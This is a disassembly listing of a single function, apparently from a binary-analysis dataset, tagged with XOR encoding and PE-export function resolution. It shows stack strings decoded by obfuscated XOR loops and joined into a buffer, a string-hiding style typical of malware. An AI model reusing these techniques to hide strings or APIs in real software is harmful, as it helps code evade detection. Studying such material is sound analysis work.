Function at 0x430300
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff0
sub esp, 0xa00
mov esi, esp
push 0x1000
call fcn.0040c650
add esp, 4
mov dword [esi + 0x24], eax
mov dword [esi + 0x744], 0x95a284a
mov dword [esi + 0x748], 0x230efb17
mov word [esi + 0x74c], 0x6344
mov dword [esi + 0x74e], 0
mov byte [esi + 0x752], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
add cl, 0x6b
xor cl, byte [esi + eax + 0x744]
add cl, 0xe9
mov byte [esi + eax + 0x744], cl
inc eax
cmp eax, 0xf
jne 0x430360
mov eax, dword [str.5c9b8674a630d9101b46733aa37f15ec]
mov dword [esi + 0x10], eax
mov dword [esi + 0x414], 0x98f6fcde
mov dword [esi + 0x418], 0xbab8a7a7
mov dword [esi + 0x41c], 0xbea0acbb
mov dword [esi + 0x420], 0xa9a9b4a0
mov word [esi + 0x424], 0xf99e
mov byte [esi + 0x426], 0xe6
mov word [esi + 0x427], 0
mov ecx, 0xfa1103ce
mov edx, 0x5eefc31
nop
movzx ebx, byte [esi + ecx + 0x5ef0046]
mov edi, ebx
not edi
lea ebx, [ebx + edi*2]
mov eax, 0xfffffffe
sub eax, ebx
and eax, ecx
and edi, edx
add edi, eax
mov ebx, edi
not ebx
add ebx, ebx
and ebx, 0x3b55d9f2
xor edi, 0xe2551306
mov eax, ebx
and eax, edi
xor edi, ebx
lea eax, [edi + eax*2]
inc al
mov byte [esi + ecx + 0x5ef0046], al
inc ecx
dec edx
cmp ecx, 0xfa1103e3
jne 0x4303d0
mov ecx, dword [str.tLYMe5__222]
mov dword [esi + 0xac], 0x3ac8e9ef
mov dword [esi + 0xb0], 0x3030ed05
mov dword [esi + 0xb4], 0xd3e6cf0b
mov dword [esi + 0xb8], 0x27dae5df
mov dword [esi + 0xbc], 0x3e23242d
mov dword [esi + 0xc0], 0x20192e2e
mov dword [esi + 0xc4], 0xf0882e26
mov dword [esi + 0xc8], 0x625fd3f4
mov dword [esi + 0xcc], 0x534bbe92
mov dword [esi + 0xd0], 0x505e8d50
mov dword [esi + 0xd4], 0x87a8565b
mov dword [esi + 0xd8], 0x464f59a4
mov dword [esi + 0xdc], 0x5e435845
mov dword [esi + 0xe0], 0x4757424a
mov dword [esi + 0xe4], 0xe9424256
mov dword [esi + 0xe8], 0x7e969589
mov dword [esi + 0xec], 0x886f7475
mov dword [esi + 0xf0], 0x7684adba
mov dword [esi + 0xf4], 0x89627d79
mov dword [esi + 0xf8], 0x6f7d96a4
mov dword [esi + 0xfc], 0xbf96b9b8
mov dword [esi + 0x100], 0xa7a4adaa
mov dword [esi + 0x104], 0x8bb6acce
mov dword [esi + 0x108], 0x4b64918d
mov byte [esi + 0x10c], 0x28
mov byte [esi + 0x10f], 0
mov word [esi + 0x10d], 0
mov edx, 0x881529a2
nop
nop
nop
nop
movzx eax, byte [esi + edx + 0x77ead70a]
xor eax, edx
mov ebx, eax
and ebx, 0x55
add ebx, ebx
xor eax, 0x2a
sub ebx, eax
mov byte [esi + edx + 0x77ead70a], bl
inc edx
cmp edx, 0x88152a06
jne 0x430530
movzx edx, byte [esi + 0xac]
mov eax, dword [esi + 0x24]
mov ebx, eax
test dl, dl
je 0x43057b
lea edi, [esi + 0xad]
mov ebx, eax
nop
nop
mov byte [ebx], dl
inc ebx
movzx edx, byte [edi]
inc edi
test dl, dl
jne 0x430570
mov byte [ebx], 0
movzx edx, byte [ecx]
test dl, dl
mov edi, ebx
je 0x43059d
inc ecx
mov eax, dword [esi + 0x10]
nop
nop
nop
nop
nop
mov byte [edi], dl
inc edi
movzx edx, byte [ecx]
inc ecx
test dl, dl
jne 0x430590
jmp 0x4305a0
mov eax, dword [esi + 0x10]
mov byte [edi], 0
movzx ecx, byte [esi + 0x414]
test cl, cl
je 0x4305cb
lea edx, [esi + 0x415]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], cl
inc edi
movzx ecx, byte [edx]
inc edx
test cl, cl
jne 0x4305c0
mov byte [edi], 0
movzx ecx, byte [eax]
test cl, cl
je 0x4305eb
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], cl
inc edi
movzx ecx, byte [eax]
inc eax
test cl, cl
jne 0x4305e0
mov byte [edi], 0
movzx eax, byte [esi + 0x744]
test al, al
je 0x43060b
lea ecx, [esi + 0x745]
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x430600
mov byte [edi], 0
push 0
call fcn.00444de0
add esp, 4
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x44e554]